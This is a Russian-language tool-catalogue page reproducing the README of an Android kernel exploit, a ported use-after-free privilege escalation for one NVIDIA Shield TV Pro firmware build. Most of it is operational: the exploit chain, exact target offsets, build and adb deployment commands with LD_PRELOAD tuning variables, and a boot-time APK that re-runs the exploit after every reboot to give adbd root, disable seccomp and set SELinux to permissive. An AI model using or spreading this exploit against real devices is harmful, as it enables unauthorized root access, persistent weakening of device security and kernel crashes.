Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
GhostLock-NVIDIA-Shield-9.2.4 — Проверенный порт GhostLock CVE-2026-43499 для NVIDIA Shield TV Pro mdarcy 9.2.4 | Kitploit
Инструменты/GitHubGitHub/cyberbalsa/ghostlock-nvidia-shield-9.2.4
Безопасность AndroidПовышение привилегийФреймворки для эксплойтовМеханизмы персистентностиЭксплуатацияМобильная безопасностьРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
cyberbalsa/ghostlock-nvidia-shield-9.2.4

GhostLock-NVIDIA-Shield-9.2.4

Проверенный порт GhostLock CVE-2026-43499 для NVIDIA Shield TV Pro mdarcy 9.2.4

Репозиторий
115 ч 9 мин назадЕщё не проверено

GhostLock для NVIDIA Shield TV Pro 9.2.4

Проверенный arm64-порт эксплойта GhostLock, использующего use-after-free в futex PI (CVE-2026-43499), для NVIDIA Shield TV Pro 2019 года (mdarcy) под управлением Shield Experience 9.2.4. Вредоносная нагрузка изменяет учётные данные работающего демона ADB, поэтому новые ADB-оболочки получают UID 0 без разблокировки загрузчика, стирания пользовательских данных, установки su или изменения проверяемых разделов.

Это эксплойт для конкретной сборки ядра, предназначенный для авторизованных исследований в области безопасности. Несовпадение или проигранная гонка могут вызвать панику ядра. Не запускайте его на другом fingerprint, ядре, устройстве или ревизии оборудования.

Проверенная цель

ПолеТребуемое значение
ПродуктNVIDIA Shield TV Pro 2019, mdarcy
FingerprintNVIDIA/mdarcy/mdarcy:11/RQ1A.210105.003/7825230_4387.0822:user/release-keys
Ядро4.9.141-tegra-gb6e5605a
Уровень патчей Android2026-01-05
База ядра0xffffff8008080000 (смещение отключено)

Порт был проверен на заблокированном устройстве с зелёным Verified Boot и включённым dm-verity. Эти механизмы остаются нетронутыми, поскольку эксплойт изменяет только текущее состояние ядра.

Результат и время жизни

После успешного запуска новое подключение сообщает UID/GID 0 как для adbd, так и для его дочерней оболочки, полный набор возможностей вплоть до capability 37, отключённый seccomp и SELinux в режиме permissive. Root переживает отключение ADB-клиента. Он не переживает перезапуск adbd или перезагрузку устройства самостоятельно.

Для практического сохранения root после перезагрузки без изменения проверяемых разделов репозиторий включает APK для пользовательских данных. Его неэкспортируемый приёмник BOOT_COMPLETED запускает недолговечную службу переднего плана, которая выполняет эксплойт с привязанным хешем один раз за загрузку из непривилегированного UID приложения и останавливается при выходе исполнителя. После установки внешний хост не требуется. Внешний сторожевой механизм Podman остаётся доступным как запасной вариант восстановления. См. persistence/README.md и watchdog/README.md.

Это автономная повторная эксплуатация, а не статический патч прошивки: при каждой загрузке есть короткий интервал, в течение которого adbd всё ещё имеет штатные учётные данные. Запуск adbd от root до инициализации Android потребовал бы изменения проверяемой цепочки загрузки, что выходит за рамки данной конструкции с заблокированным загрузчиком и без стирания данных.

Цепочка эксплойта

  1. Запустите уязвимый путь отката futex PI и сохраните устаревший rt_mutex_waiter в стеке ядра.
  2. Пометьте переиспользованный стек с помощью MCAST_BLOCK_SOURCE и перенаправьте операцию дерева rt-mutex.
  3. Переиспользуйте освобождённую страницу slab порядка 2 из mm_struct с помощью сформированной skb-нагрузки.
  4. Перенаправьте ashmem_misc.fops на фиктивную таблицу, поддерживаемую унаследованными обработчиками чтения/записи configfs.
  5. Пройдите по списку задач, найдите запрошенный PID adbd и проверьте его полный объект учётных данных.
  6. Выполните одно ограниченное запись по ID, securebits и словам возможностей; переведите SELinux в permissive; затем восстановите операции ashmem и указатель boot-ID.

Унаследованный этап физического чтения/записи через pipe-buffer не используется. Подробные наблюдения по цели и проверенные смещения приведены в PORT_STATUS.md.

Сборка

Компилятор — Android NDK r29 (aarch64-linux-android30-clang). Собирайте напрямую с установленным Linux NDK:

root@kitploit:~
cd exploit
make NDK=/opt/android-ndk-r29

Или соберите предоставленный образ Podman, который загружает официальный архив Linux r29 и проверяет его опубликованный SHA-1 перед извлечением:

root@kitploit:~
podman build -t ghostlock-android:ndk-r29 -f build/Containerfile .
podman run --rm \
  -v "$PWD:/src:Z" \
  -w /src/exploit \
  ghostlock-android:ndk-r29 make -B

Вывод:

root@kitploit:~
exploit/build/preload-mdarcy-9.2.4.so
SHA-256 a3a1e75b627d8dd419e9bafd2a73082a8647510bf6ce4f975e52baf5aa1d0761

Сборка для Shield намеренно исключает встроенный демон su и нагрузку с обоев из эталонного проекта.

Запуск

Подключитесь через авторизованный сетевой ADB, отправьте релизный артефакт или локальную сборку, затем войдите в ADB-оболочку:

root@kitploit:~
adb connect SHIELD_ADDRESS:5555
adb -s SHIELD_ADDRESS:5555 push \
  exploit/build/preload-mdarcy-9.2.4.so \
  /data/local/tmp/preload-mdarcy-9.2.4.so
adb -s SHIELD_ADDRESS:5555 shell chmod 0755 \
  /data/local/tmp/preload-mdarcy-9.2.4.so
adb -s SHIELD_ADDRESS:5555 shell

Запустите это внутри оболочки устройства:

root@kitploit:~
GHOSTLOCK_FIXED_BASE=1 \
GHOSTLOCK_MAIN_ROUTE=slide-mcast \
GHOSTLOCK_SLIDE_FULL_LOCK=1 \
GHOSTLOCK_MIXED_ORDER_PAYLOAD=1 \
GHOSTLOCK_MM_PARTIALS=14 \
GHOSTLOCK_BUDDY_HOLD_PAIRS=256 \
GHOSTLOCK_BUDDY_HOLD_SENDS=8192 \
GHOSTLOCK_RECLAIM_PAIRS=64 \
GHOSTLOCK_RECLAIM_SENDS=2048 \
GHOSTLOCK_ADBD_ROOT_CONFIGFS=1 \
GHOSTLOCK_ADBD_PID="$(pidof adbd)" \
LD_PRELOAD=/data/local/tmp/preload-mdarcy-9.2.4.so \
/system/bin/true

Отключитесь и откройте новый транспорт для проверки:

root@kitploit:~
adb disconnect SHIELD_ADDRESS:5555
adb connect SHIELD_ADDRESS:5555
adb -s SHIELD_ADDRESS:5555 shell id
adb -s SHIELD_ADDRESS:5555 shell \
  'grep -E "^(Uid|Gid|Cap(Inh|Prm|Eff|Bnd|Amb)|Seccomp):" /proc/$(pidof adbd)/status'

Нагрузка отказывается повторно срабатывать из уже UID-0 ADB-оболочки, если только GHOSTLOCK_FORCE_ROOT_TRIGGER=1 не указан намеренно. Не принуждайте это; привилегированный путь планирования имеет другое поведение PI и может вызвать панику.

Постоянство на устройстве

Загрузите подписанный релизный APK в persistence/app/build/ghostlock-boot-mdarcy-9.2.4.apk, затем установите и активируйте его с авторизованного PowerShell ADB-хоста:

root@kitploit:~
./persistence/install.ps1 `
  -Target SHIELD_ADDRESS:5555 `
  -AdbPath C:/path/to/platform-tools/adb.exe

Установщик изменяет только пользовательские данные и не перезагружает устройство. При следующем BOOT_COMPLETED приложение проверяет точный fingerprint, ядро и встроенный хеш нагрузки, записывает свою попытку и вызывает GhostLock из своего обычного UID приложения. Файловая блокировка, состояние «одна попытка за загрузку» и 15-минутная задержка между загрузками предотвращают повторные попытки или циклы перезагрузки. Оно не устанавливает бинарник su. Android показывает уведомление низкого приоритета Restoring ADB root только пока активен нативный исполнитель; ожидающий процесс удаляет его при выходе. См. persistence/README.md для деталей сборки, подписи, журналов, проверки, восстановления и удаления.

Финальный APK был проверен при остановленном внешнем сторожевом механизме: счётчик загрузок 134 впервые показал штатный UID-2000/enforcing adbd, а следующий новый транспорт имел UID/GID 0 с полной маской возможностей 0x3fffffffff, отключённым seccomp и SELinux в режиме permissive. Служба и уведомление самостоятельно очистились.

Журналы и восстановление

Диагностика ручного запуска синхронно записывается в /sdcard/Download/log_<timestamp>.txt с запасным вариантом /data/local/tmp. Загрузочное приложение перенаправляет вывод исполнителя и нагрузки в свой приватный files/boot.log, читаемый через run-as com.cyberbalsa.ghostlockboot. Если гонка вызывает панику ядра, состояние до срабатывания предотвращает ещё одну попытку в этом счётчике загрузок, а 15-минутная задержка сохраняется после перезагрузки.

Карта репозитория

  • exploit/src/: триггер, переиспользование, произвольное чтение/запись и ограниченный патч учётных данных adbd.
  • exploit/targets/shield-mdarcy-9.2.4/: точная раскладка цели для конкретной сборки.
  • analysis/: вспомогательные инструменты извлечения символов и раскладки ядра.
  • persistence/: загрузочный APK на устройстве, нативный исполнитель и установщик.
  • watchdog/: запасной вариант восстановления на стороне хоста с привязкой хеша.
  • report.md: исходный анализ эталонного порта OPPO, сохранённый для происхождения.

Авторы и лицензия

Этот порт основан на исследовательской и эксплойтной платформе GhostLock, опубликованной NebuSec, и эталонном порте OPPO PCKM00 от yijiacloud. KernelSnitch встроен на условиях вышестоящего проекта.

  • https://github.com/NebuSec/CyberMeowfia
  • https://github.com/yijiacloud/GhostLock-OPPO-PCKM00
  • https://github.com/torvalds/linux/commit/3bfdc63936dd4773109b7b8c280c0f3b5ae7d349

Apache-2.0; см. LICENSE.

Скачать инструмент